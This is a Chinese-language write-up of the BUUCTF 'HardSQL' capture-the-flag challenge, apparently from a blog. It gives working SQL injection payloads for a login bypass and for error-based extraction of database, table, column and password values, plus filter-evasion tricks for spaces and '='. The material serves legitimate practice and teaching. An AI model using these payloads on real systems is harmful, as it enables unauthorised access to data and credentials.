【BUUCTF】HardSQL

Mr_Soap發表於2024-07-30

【BUUCTF】HardSQL

題目來源

收錄於:BUUCTF  極客大挑戰 2019

題目描述

一道純粹的SQL隱碼攻擊題

img

嘗試進行注入,發現對以下字元進行了過濾:

= %20(空格) %09 %0a %0b %0c %0d /**/ substr union by and

且過濾方式不區分大小寫,檢測到以上字元就die()

題解

先找注入點,由於空格被過濾,與空格起同樣作用的字元也被過濾,因此我們使用()將庫名、表名、欄位名包裹起來,就不需要使用空格了。
exp 如下:

?username=-1'or(1)%23&password=1

img

成功登入。

由於過濾了union,我們使用報錯注入的方式進行嘗試。另外,由於=被過濾,我們可以使用like來代替=。payload如下:

//爆庫名
1'or(extractvalue(1,concat(0x7e,(database()))))%23
//爆表名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23
//爆欄位名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))%23
//爆欄位值
1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)))))%23

在爆欄位值的時候我們看到,flag只顯示了一部分

img

由於substr()函式被過濾,我們使用left()right()來進行字串的擷取,payload:

1'or(extractvalue(1,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),30))))%23

其中30是擷取右邊字元的個數,可以改為其他值,只要能拿到完整flag即可。

img

總結

繞過空格

使用以下字元替代空格,可以起到相同效果

%09 %0a %0b %0c %0d /**/

或使用()包裹庫名、表名、欄位名,從而避免空格的使用,如:

select(group_concat(table_name))from(information_schema.tables)where(table_schema)=(database())

繞過 =

like代替=

字串顯示不全

使用以下三個函式對字串進行擷取:

substr()   left()   right()